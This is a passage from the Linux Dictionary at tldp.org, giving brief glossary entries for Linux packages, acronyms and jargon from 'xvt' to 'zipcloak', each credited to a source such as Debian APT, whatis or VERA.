X terminal−emulator similar to xterm, but smaller xvt is an X terminal−emulator that is designed to be more or less compatible with xterm while using much less swap space. It is mainly intended for use at sites which use large numbers of X terminals but may also be useful on single workstations that are short of memory. The main way that xvt achieves its small size is by avoiding the use of the X toolkit. If you are looking for a more featureful terminal−emulator than xvt, but one which still uses less swap space than xterm, consider rxvt. Features of xterm which xvt does not support include: − Tektronix 4014 emulation − Session logging − Pop−up menus. The only one of xterm's popup menu commands that is provided in xvt is displaying and hiding of the scrollbar and this is done simply by pressing any mouse key in the window with the CONTROL key held down. − Toolkit style configurability. In particular, xvt does not allow the user to remap the mouse or keyboard keys. Features which are supported include: − VT100 emulation. Most of the main escape sequences are supported −− certainly all those used by the standard screen based UNIX applications. − Lines that scroll off the top of the window are saved and can be scrolled back with a scrollbar. − Text selection and insertion including double and triple click for words and lines. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

xwave

Wave sound file editor XWave can load and edit several sound files at the same time. You can cut and paste sections from one file to an other. It also includes some effects like: re−sampling, echo, volume

change, revert, etc... From Debian 3.0r0 APT
http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

xwd

dump an image of an X window From whatis
http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

xwhois

RFC954 whois client for the X Window System This package provides a small and fast query tool for the RFC954 whois service, built using the gtk library for the X Window System. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

xwininfo

window information utility for X From whatis
http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

xwit

a collection of simple routines to call some X11 functions xwit is a collection of simple routines to call some X11 functions that don't already have any utility commands built around them. The reasoning behind this is that loosely every X function should be accessible from a shell script. For example, XWarpPointer() will move the X pointer, but no utility program exists to do so on those rare occasions when you could really use it. xwit will also resize, iconify, pop, and move windows given by name or id, change an icon, title or name, set the screen saver going, and change individual key autorepeat settings, etc. From Debian 3.0r0 APT
http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

xwpe

Programming environment and editor for console and X11 Xwpe is an integrated programming and debugging environment similar to Borland's Turbo C and Pascal family. It has many features including the ability to start many compilers, linkers and debuggers from a menu−based interface or using keystrokes. Syntax highlighting is included for many programming languages, and any compiler and debugger can easily be used by the program. When compiling from within xwpe, errors in the source code can be jumped to and swiftly corrected. Variables and the stack can be easily displayed. Setting and unsetting breakpoints can be done directly within the source code. Although it is designed to be a tool for programmers (when invoked as wpe or xwpe), it can also be used as an easy to learn text editor (when invoked as we or xwe). From Debian 3.0r0 APT
http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

xwrits

Reminds you to take a break from typing xwrits is a small reminder program designed to let you know it is time to take a break from typing to rest your wrists and prevent any damage to your wrists (or at least make them feel better if you've already damaged them). Normally works on the honor system, but if you find yourself unable to stop typing during your break, it can also lock your keyboard. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

xwud

image displayer for X From whatis http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

xxd

make a hexdump or do the reverse. From whatis
http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

xxdiff

a graphical file and directories comparison and merge tool A powerful tool for viewing the differences between two or three files, or two directories, and can be used to produce a merged version. The texts of the two or three files are presented side by side with their differences highlighted with colors for easy identification. Among its features are: * 3−way diffs * comfortable enabling of various diff options * merge with: * cut and paste * save selected regions * view merged results * recursive comparison * full customizable through resource file From Debian 3.0r0 APT
http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

xxgdb

A X front−end to the GNU debugger gdb xxgdb is a simple but powerful graphical interface to the GNU debugger gdb. A more powerful (but slower and much bigger) interface is available in the ddd package. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

xxkb

Keyboard state indicator and switcher for xkb This program is a keyboard state indicator and switcher for xkb. Features: − shows current xkb group (pixmap in its own window) − allows switch group by mouse click − allows individual state for every window − can install its own button (indicator/mouse switcher) on every window's title bar − can restrict keyboard states for every window to only two ("main group" − "alternative group") if xkb set up for more than two groups. Bugs: − documentation is partially in Russian (koi8−r charset) only From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

xyoubin

The conventional mail arrival notification client for X. This package contains youbin client for X. This look and feel is like xbiff. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

xzgv

Picture viewer for X with a thumbnail−based selector xzgv is a picture viewer for X, with a thumbnail−based file selector. It uses GTK+ and Imlib. Most file formats are supported, and the thumbnails used are compatible with xv, zgv, and the Gimp. It can also be used with `xzgv file(s)', to effectively bypass the file selector. For more on how xzgv works and how to use it, do `info xzgv' or `man xzgv' once it's installed. xzgv differs from other picture viewers for X in that it uses one window for both the file selector and viewer, it (unlike xv) allows both scrolling and fit−to−window methods of viewing large pictures, and it (unlike xv and some others) doesn't ever mangle the picture's aspect ratio. It also provides extensive keyboard support; if you prefer using the keyboard, this is almost certainly the best viewer for you. But it doesn't skimp on the mousey stuff, either. Note that this program is written by the author of the svgalib−based "zgv", and has similar features. Home Page: http://xzgv.browser.org/ From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

xzip

Interpreter of Infocom−format story−files Xzip interprets story−files (which are usually text adventure games) in the format used by Infocom. This includes the games published by Infocom, as well as any games produced by compilers to this format, such as Inform. This is an interpreter for X. For text mode, try frotz or jzip. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

xzoom

magnify part of X display, with fast updates Like xmag, xzoom magnifies a section of the X display. Xzoom is different because it will continuously update the magnified area as the display changes. It is fast enough to enlarge small animations, for example. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

Y

Y2K
: Year 2000 problem From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

YAAS
: Yet Another Acronym Server (WWW) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

yabasic
: Yet Another BASIC interpreter Implements the most common (and simple) elements of the language plus some graphics facilities. Anyone who has ever written BASIC programs on a C−64 should feel at home. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

yacas
: Computer Algebra System Yet Another Computer Algebra System is a small and highly flexible computer algebra language. The syntax is very close to Mathematica. The distribution contains a small library of mathematical functions, but its real strength is in the language in which you can easily write your own symbolic manipulation algorithms. It supports arbitrary precision arithmetic. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

Yacc
: a "parser". YACC stands for "Yet Another Compiler Compiler". This is because this kind of analysis of text files is normally associated with writing compilers. From Linux Guide @FirstLinux http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

yacc
: GNU Project parser generator (yacc replacement) From whatis http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

YACC
: Yet Another Compiler Compiler (Unix) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

yaclc
: check the bug closings in a Debian changelog. yaclc (yet another change log check) queries the Bug Tracking System to see if the bugs closed in a package's changelog belong to that package. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

yada
: Yet Another Debianisation Aid YADA is a Debian packaging helper. It parses a special file, debian/packages, in a source package, and generates an appropriate debian/rules to control building of the package. WARNING: YADA is still very experimental! Use it at your own risk! (And please run Lintian over anything built with yada before uploading.) From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

YADE
: Yet Another DSSSL Engine (DSSSL) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

yadex
: WAD file editor for doom−style WADs Yadex is a Doom level (wad) editor for Unix systems running X, including Linux. It supports Doom alpha, Doom beta, Doom, Ultimate Doom, Final Doom, Doom II, Heretic and also, in a more or less limited way, Hexen and Strife. It is available under the terms of the GPL. Yadex is descended from DEU 5.21. Therefore, as you might expect, it's a rather low−level editor that requires you to take care of a lot of detail but on the flip side allows you to control very precisely what you are doing. In addition, it has many advanced functions that DEU didn't have, to make certain tedious tasks easy. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

yafc

Yet Another FTP Client Yafc is an ftp client intended to be a replacement for the standard ftp(1) program. Features include directory cache, remote filename completion, aliases, colored ls, recursive get/put/ls/rm, nohup mode transfers, tagging (queueing), background downloading, and more. This version is compiled without KTH Kerberos 4/5 authentication. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

yank

yet another notekeeper Yank is a simple notekeeper and todo−list manager using the gnome and gtk libraries. It feels stable and usable enough to be released to the public but it surely lacks some (not so important) features which might be added later. Excessive tests have shown that yank is fool−proof, irritating and wasting too much memory. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

yaps

Yet Another Pager Software This software is primary designed to send message to so called pager devices including cellular phones which are able to receive textual messages (sometimes called SMS, short message system/service.) From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

yard

Perl scripts to build rescue disk(s) to revive a system Yard is a suite of Perl scripts for creating custom boot/rescue disks. Using a compressed filesystem, it can put a standard kernel image plus about 2.4 meg of utilities on a single floppy. Yard is also useful for creating self−contained Linux−on−a−floppy systems. You specify a basic set of files and utilities for inclusion and Yard handles many of the details. Features: − File specs allow absolute and relative filenames, symbolic links, file replacements and full shell−style globbing. − Automatically determines necessary libraries and loaders. − Allows stripping of binaries and libraries during copying. − Automatically regenerates ld.so.cache − Checks for broken symlinks − Checks /etc/{fstab,inittab,termcap,pam.conf} for common errors and inconsistencies. − Checks user directories and files mentioned in /etc/passwd − Checks command files (eg, rc.local and .login) and scripts for missing binaries and command interpreters. − Automatically performs filesystem compression and copying. − Can be used with or without LILO. − Can make single or double disk sets. − Extensive checking of user choices and execution errors. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

yardradius

YARD Radius Auth/Acct Server YARD Radius is a Radius authentication/accounting server which is derived from the original Livingston Enterprise Inc. RADIUS daemon release 2.1. It adds a number of useful features to the LE daemon, i.e. Control of simultaneous logins. Support of Ascend, Cisco and USR boxes. Extended daily/monthly/yearly accounting information on a per−user basis MD5 encrypted passwords support (both in passwd file and/or users file) Expirations in shadow file. Checking based on time−of−day, traffic and connection time. Support of PAM authentication and accounting. Binary form of accounting file. GDBM formats for users and user stats databases. Autoconfiguring capabilities of sources. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

yasgml

Yet Another Linuxdoc−DTD only SGML mode Yasgml automates typesetting and previewing of SGML and enables completing input of SGML mark−up command such as `<verb>'..`</verb>'. It is intended to use with LinuxDoc DTD only. You may need linuxdoc−tools package to process Linuxdoc−DTD SGML source. Default is for Japanese text editing. Its keybinding is based on that of YaTeX. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

YASOS

Yet Another Scheme Object System From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

YAST

Yet Another Setup Tool (Linux, SUSE), "YaST" From VERA
http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

yatex

Yet Another LaTeX mode YaTeX automates typesetting and previewing of LaTeX and enables completing input of LaTeX mark−up command such as `\begin{}'..`\end{}'. YaTeX also supports Demacs which runs on MS−DOS(386), Mule (Multi Language Enhancement to GNU Emacs), and latex on DOS. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

yc−el

Yet another Canna client for Emacsen. Canna client for emacs20, emacs21 or xemacs with MULE support. yc.el is implemented in pure elisp, makes it possible to use Canna on emacsen without direct support for Canna. Canna is a Japanese input method. From Debian 3.0r0 APT
http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

YCPS

Yale Center for Parallel Supercomputing (org., USA, HPC) From VERA
http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

Yellow Book

An Interntional Standards Organisation (1SO) standard that describes the way data is encoded on CD−ROMs. The Yellow Book standard includes CD−XA specifications. YModem A file transfer protocol is an improved version of XMODEM−IK. YMODEM transfers data in 1,024−byte, blocks and performs a cyclic redundancy check (CRC) on each frame. Also, YMODEM supports sending more than over file in sequence. See YMODEM−g and ZMODEM. From QUECID
http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

Yellow Dog

Yellow Dog Linux is a complete, Red Hat and RPM based operating system for PowerPC computers. YDL may co−exist with Mac OS in a dual−boot environment or replace the Mac OS on "New World ROM" (Blue & White G3s and newer) machines. Simple to install, YDL offers a graphical installer, KDE (an elegant, mature GUI), and over 900 applications to fulfill server, code developer, and home/office needs. YDL 3.0 was released March 19, 2003. From LWN Distribution List
http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

yelp

Yelp is the Gnome 2 help/documentation browser. It is designed to help you browse all the documentation on your system in one central tool. From Redhat 8.0 RPM
http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

yencode

Powerful yEnc decoder/encoder Powerful standards−compliant yEnc encoder/decoder for the Usenet yEnc encoding format for modern UNIX systems From Debian 3.0r0 APT
http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

yes

Command which outputs a string repeatedly until killed From whatis
http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

Yet Another

adj. [From Unix's yacc(1), `Yet Another Compiler−Compiler', a LALR parser generator] 1. Of your own work: A humorous allusion often used in titles to acknowledge that the topic is not original, though the content is. As in `Yet Another AI Group' or `Yet Another Simulated Annealing Algorithm'. 2. Of others' work: Describes something of which there are already far too many. See also YA−, YABA, YAUN. From Jargon Dictionary
http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

yforth

A small freeware Forth environment in ANSI C. yForth? is an interestingly small implementation of Forth for Linux. It suffers several deficiencies. For general Forth programming or learning under Linux, yForth? is not the best choice. From the author's README: yForth? is a Forth environment

written entirely in ANSI C, making it extremely portable. The first thing I want to tell you about yForth? is that it seems a joke compared to other systems such as gForth or PFE. Nevertheless, you could find yForth? nice, in which case you're invited to explore yForth? It's yours, you can make anything you want with it. If you want an explanation of the words provided by yForth? please refer to the draft of ANS Forth or something equivalent. The Net will help you. Do not expect the prompt "ok" to come up when you run yForth?, the standard says that "ok" shall be printed AFTER every successful command execution... From Debian 3.0r0 APT
http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

yh

Yan Huang Chinese Platform, a console Chinese environment Yan Huang Chinese Platform provides Chinese/English text input/output environment. Users can choose input methods from "Quwei", "GbkPinYin" and "BiaoXingMa". GBK standard Chinese interal encoding and Big5 encoding Chinese text are both supported. Authors: Red Flag Linux Home Page: http://www.redflag−linux.com/ From Debian 3.0r0 APT
http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

yiff−server

Y Sound Server YIFF is a network based and multi client connection system that supports X Window Systems style event and client handling. Internal 3D sound support and client to server IO wrapper code is also available. YIFF is OSS, ALSA, YSound and Y2N compliant. More information can be found at the YIFF web site http://wolfpack.twu.net/YIFF/ . From Debian 3.0r0 APT
http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

yiyantang

Terminal−based Chinese automatic encoding converter yyt is a pseudo−tty program that converts Chinese terminal output encoded in GB/BIG5 to a preset encoding automatically. It is useful for users who have to work with multiple Chinese encoding in console applications. Now it also converts input to the incoming encoding if the incoming encoding is set explicitly. From Debian 3.0r0 APT
http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

yodl

Yet oneOther Document Language. Yodl is a package that implements a pre−document language and tools to process it. The idea of Yodl is that you write up a document in a pre−language, then use the tools (e.g. yodl2html) to convert it to some final document language. Current converters are for HTML, ms, man, LaTeX SGML and texinfo, plus a poor−man's text converter. Main document types are "article", "report", "book" and "manpage". The Yodl document language is designed to be easy to use and extensible. URL: http://www.xs4all.nl/~jantien/yodl/ Authors: Karel Kubat <karel@icce.rug.nl> Frank Brokken <f.b.brokken@rc.rug.nl> Jan Nieuwenhuizen <janneke@gnu.org> From Debian 3.0r0 APT
http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

Yoper

Yoper is a high performance operating system which has been carefully optimised for PC's with either 686 or higher processor types. The binaries that come with Yoper have been built from scratch using the original sources combined with the best features of from the major distros. Yoper is high performance and compact. In fact Yoper is one of the most standardised linux's that you will find and hardware performance is better than that of any other commercial OS. With Yoper it is possible to import packages from all the other major distributions, including RPM's, .deb's, and .tgz packages. Ydesktop−3.2.1 Release Candidate 3 released January 12, 2003. From LWN Distribution List
http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

yorick

interpreted language and scientific graphics Yorick is an interpreted programming language for: * scientific simulations or calculations * postprocessing or steering large simulation codes * interactive scientific graphics * reading, writing, and translating large files of numbers The language features a compact syntax for many common array operations, so it processes large arrays of numbers very

quickly and efficiently. Superficially, yorick code resembles C code, but yorick variables are never explicitly declared and have a dynamic scoping similar to many Lisp dialects. The yorick language is designed to be typed interactively at a keyboard, as well as stored in files for later use. This package includes an emacs−based development environment, which you can launch by typing M−x yorick in emacs. ftp://ftp−icf.llnl.gov/pub/Yorick/doc/index.html From Debian 3.0r0 APT
http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

youbin

The conventional mail arrival notification server. Youbin is a kind of biff in the network age. When youbin is used, the mail spool of a certain, specific machine (mail server) is observed to inform the arrival of mail to a user at an arbitrary machine through the network. On the other hand, the conventional "biff" informs only the user who logs in at the machine with the mail spool. Combining with POP, youbin eliminate a lot of NFS mount of mail spool for mail arrival checking. Since youbin is designed with event driven, the user is promptly informed of status change of mail spool caused by mail arriving and reading. From Debian 3.0r0 APT
http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

YP

Yellow Pages(tm), a registered trademark in the UK of British Telecom plc. From NIS HOWTO
http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

yp−tools

The Network Information Service (NIS) is a system that provides network information (login names, passwords, home directories, group information) to all of the machines on a network. NIS can allow users to log in on any machine on the network, as long as the machine has the NIS client programs running and the user's password is recorded in the NIS passwd database. NIS was formerly known as Sun Yellow Pages(YP). This NIS implementation is based on FreeBSD's YP and is a special port for glibc 2.x and libc versions 5.4.21 and later. This package only provides the NIS client programs. In order to use the clients, you need to have an NIS server running on your network. An NIS server is provided in the ypserv package. Install the yp−tools package if you need NIS client programs for machines on your network. You will also need to install the ypbind package on every machine running NIS client programs. If you need an NIS server, you need to install the ypserv package on one machine on the network. From Redhat 8.0 RPM
http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

ypbind

The Network Information Service (NIS) is a system that provides network information (login names, passwords, home directories, group information) to all of the machines on a network. NIS can allow users to log in on any machine on the network, as long as the machine has the NIS client programs running and the user's password is recorded inthe NIS passwd database. NIS was formerly known as Sun Yellow Pages(YP). This package provides the ypbind daemon. The ypbind daemon binds NIS clients to an NIS domain. Ypbind must be running on any machines running NIS client programs. Install the ypbind package on any machines running NIS client programs (included in the yp−tools package). If you need an NIS server, youalso need to install the ypserv package to a machine on your network. From Redhat 8.0 RPM http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

YST

Yukon Standard Time [−0900] (TZ) From VERA
http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

ytalk

Enhanced talk program with X support. Ytalk is a multi−user chat program. It works exactly like the UNIX talk program and even communicates with the same talk daemons. Ytalk's advantages come in it's ability to allow multiple connections. From Debian 3.0r0 APT
http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

ytree

A file manager that looks like Xtree Gold(tm) This is a file manager that looks like xtree gold(tm). it has history, colors, configurable file viewers and much more. It works on terminals. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

yudit

unicode text editor yudit is a unicode text editor for the X Window System. It does not need localized environment or unicode fonts. It supports simultaneous processing of many languages, conversions for local character standards, bidirectional input, has its own input methods. The package includes conversion utilities, and it also has support for postscript printing. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

yydecode

decode yEnc archives yydecode works almost identically to the infamous uudecode program, but for yEnc encoded archives. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

yyextract

extract grammar rules from a yacc grammar From whatis http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

yyref

generate cross−reference for yacc input From whatis http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

Z

z8530−utils2
Utilities for Z8530 based HDLC cards for AX.25 (kernel 2.2.x) This package contains utilities to load, configure and modify the kernel driver for Z8530 based SCC cards. This version is for kernels above 2.1.6. It should at least work with the following boards and connected modems: BayCom USCC. PA0HZP card with and without ESCC and/or external clock divider (up to 19200 baud (loopback)) and compatibles. TCM3105 modem, 4k8 modem, 9k6 DF9IC modem (loopback), HAPN 4k8 modem (connected to a SCC board, of course!). From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

Zapping
A TV viewer for the GNOME project. It has some interesting features, namely: it is for GNOME/GTK. This gives the program a nice look. It is based on plugins. This will make it easy to add functionality to the program, without making it hard to maintain, such as saving video as AVI/MPEG, viewing mirrored TV (scanning from right to left) or whatever you can image (and program). It has a very advanced VBI decoder, Lirc support, realtime MPEG recording and much more. From Zapping http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

ZAW
Zero Administration initiative for Windows (MS, Windows NT) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

zblast
>zblast, shoot 'em up space game Shoot 'em up space game with cool sound and high speed of playing. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

ZBR
Zone Bit Recording From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

ZC
Zone Co−ordinator (FidoNet) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

zcat
compress or expand files From whatis http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

ZCAV
Zone Constant Angular Velocity From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

zcip
This is an implementation of the ad−hoc link−local IP autoconfiguration algorithm described in the IETF Draft "Dynamic Configuration of IPv4link−local addresses". From Mandrake 9.0 RPM http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

zclock
Clock applet for the GNOME desktop environment ZClock is a clock applet for the GNOME desktop environment. It is similar to the standard GNOME clock applet, but it allows greater customization. You can choose your preferred border style as well as specify the exact format for the time display (using a POSIX strftime(3) format string). Read the strftime(3) manpage for details on this format. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

ZCLV
Zoned Constant Linear Velocity (DVD, DVD−RAM) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

zcmp
compare compressed files From whatis http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

zdiff
compare compressed files From whatis http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

zdump
time zone dumper From whatis http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

zebra
A GPL'd, BGP/OSPF/RIP capable routing daemon GNU Zebra is free software (distributed under the GNU Generic Public License) which manages TCP/IP based routing protocols. It supports BGP 4, BGP4+, OSPFv2, OSPFv3, RIPv1, RIPv2, and RIPng as well as the IPv6 versions of these. Zebra uses threading if the kernel supports it, but can also run on kernels that do not support threading. Zebra is more than a routed replacement, it can be used as a Route Server and a Route Reflector. Zebra is unique in design in that it has a process for each protocol. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

zed
Powerful, multipurpose, configurable text editor This package contains a console and an X version. − Can use ANY key sequence (e.g. define a block with shift−arrow) even on the console. − Intelligent screen update (NOT using the slow (n)curses). − Column blocks with insert & overwrite. − Multi window/multi buffer. − Color C++, HTML, TeX, Java, mail file. − Shows parenthesis matching, searches for C functions, reindents C blocks. − About 200 commands and 100 variables to deal with. − Can edit/insert control codes (ASCII 0−31 and 128−159). − Executes programs with output redirected to a window (e.g. make, man, etc). − Can load files with CRLF and/or CR and/or LF end−of−line marker. − Clipboard and delete buffer. − Saveable run−time macros. − Simple and powerful configuration system. − Easy document mode, almost ASCII. − Automatic word wrap and reformat, even inside quoted line within an e−mail file. − Small, fast, powerful, low CPU consumer. − Hexdump−like mode to edit binary file. − You can go everywhere with the cursor. − Internal, fast file selector. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

zegrep
search possibly compressed files for a regular expression From whatis http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

zenirc
Major mode for wasting time This package contains a glamorous and ultimate major mode for Emacs. IRC in a box. Make your IRC client able to act as editor, too. This is what modern net addicts were searching for. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

zephyr−clients
The original "Instant Message" system client This package only contains the clients; you'll need a server to talk to. This is the Project Athena Zephyr notification system 2000/04/21 snapshot. Zephyr allows users to send messages to other users or to groups of users. Users can view incoming Zephyr messages as windowgrams (transient X windows) or as text on a terminal. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

zephyr−server
The original "Instant Message" system−server without Kerberos You probably only need one server for a group of clients. This can be a memory−intensive server, especially for very large sites. The server maintains a location and subscription database for all the receiving clients. All zephyrgrams are sent to the server to be routed to the intended recipient. This is the Project Athena Zephyr notification system 2000/04/21 snapshot. Zephyr allows users to send messages to other users or to groups of users. Users can view incoming Zephyr messages as windowgrams (transient X windows) or as text on a terminal. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

zero−content
adj. Syn. content−free. From Jargon Dictionary http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

zfgrep
search possibly compressed files for a regular expression From whatis http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

zforce

force a '.gz' extension on all gzip files From whatis http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

zgrep

search possibly compressed files for a regular expression From whatis http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

zgv

SVGAlib graphics viewer 'zgv' is a graphics viewer, based around SVGAlib, which can display GIF87a, GIF89a, JPEG/JFIF, PNG, PBM/PGM/PPM, BMP, and TGA files on a standard VGA and most SVGAs, with a full−screen file selector front−end. It can also be used as a simple command−line file viewer, with 'zgv filename', to do slide shows of a list of files, and so on. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

zh−autoconvert

Chinese HZ/GB/BIG5/UNI/UTF7/UTF8 encodings auto−converter AutoConvert is an intelligent Chinese Encoding converter. It uses builtin functions to judge the type of the input file's Chinese Encoding (such as GB/Big5/HZ), then converts the input file to any type of Chinese Encoding you want. You can use autoconvert to handle incoming mail, automatically converting messages to the Chinese Encoding you want. It can alse handle Unicode/UTF7/UTF8 now. Author: Yu Guanghui <ygh@debian.org> From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

zh−sgmltools

A wrapper for SGMLtools to process Chinese This is a wrapper for SGMLtools (version 1) that lets you convert Chinese SGML files (either Big5 or GB) into HTML, plain text, LaTeX, and so on. This package is used to process CLDP (Chinese Linux Documentation Project) documents. If you want to output plain text files, you need to have the lynx package installed. And if you want to output DVI files, the cjk−latex package is required. Please read /usr/share/doc/zh−sgmltools/README.Debian for details. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

zhcon

A Fast Console CJK System Using FrameBuffer Zhcon is a fast Linux Console Chinese System which supports framebuffer device.It can display Chinese,Japanese or Korean double byte characters on console. Features include: Full support for Linux FrameBuffer device(from 640x480x8bpp to 1024x768x32bpp) Multiple language support (GB2312,GBK,BIG5,JIS,KSCM) Auto−detect and convert between GB2312 and BIG5 encoding(like hztty) Hot key to change language encoding on the fly Can use input method from MS Windows 98 Chinese version or UCDOS for MS−DOS From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

zic

time zone compiler From whatis http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

ZIF

Zero Insertion Force [socket] (IC) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

zile

a very small emacs−like editor Zile is another Emacs−clone. Zile is a customizable, self−documenting real−time display editor. Zile was written to be as similar as possible to Emacs; every Emacs user should feel at home with Zile. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

zip

Archiver for .zip files This is InfoZIP's zip program. It produces files that are fully compatible with the popular PKZIP program; however, the command line options are not identical. In other words, the end result is the same, but the methods differ. :−) This version supports encryption. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

zip

The zip program is a compression and file packaging utility. Zip is analogous to a combination of the UNIX tar and compress commands and is compatible with PKZIP (a compression and file packaging utility for MS−DOS systems). Install the zip package if you need to compress files using the zip program. This version support crypto encryption. From Mandrake 9.0 RPM http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

zip

vt. [primarily MS−DOS] To create a compressed archive from a group of files using PKWare's PKZIP or a compatible archiver. Its use is spreading now that portable implementations of the algorithm have been written. Commonly used as follows: "I'll zip it up and send it to you." See tar and feather. From Jargon Dictionary http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

ZIP

Zigzag Inline Package (VRAM) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

ZIP

Zone Information Protocol (AppleTalk) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

Zip

A popular form of file compression/archiving available on many operating system platforms, including DOS/Windows, OS/2 and UNIX/Linux. Popular tools include PKZip/PKUnzip and Zip/Unzip. Not to be confused with the Iomega Zip disk, which is a removable storage device. (Confusingly, a zipped file can be stored on a Zip disk or not. They are unrelated.) Zipped files will have a .zip extension. From I−gloss http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

zip−crypt

Legacy package for zip−crypt that you should remove. This package exists only to provide a smooth upgrade from the old zip−crypt to the new zip. Please remove it. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

zipcloak

package and compress (archive) files From whatis http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

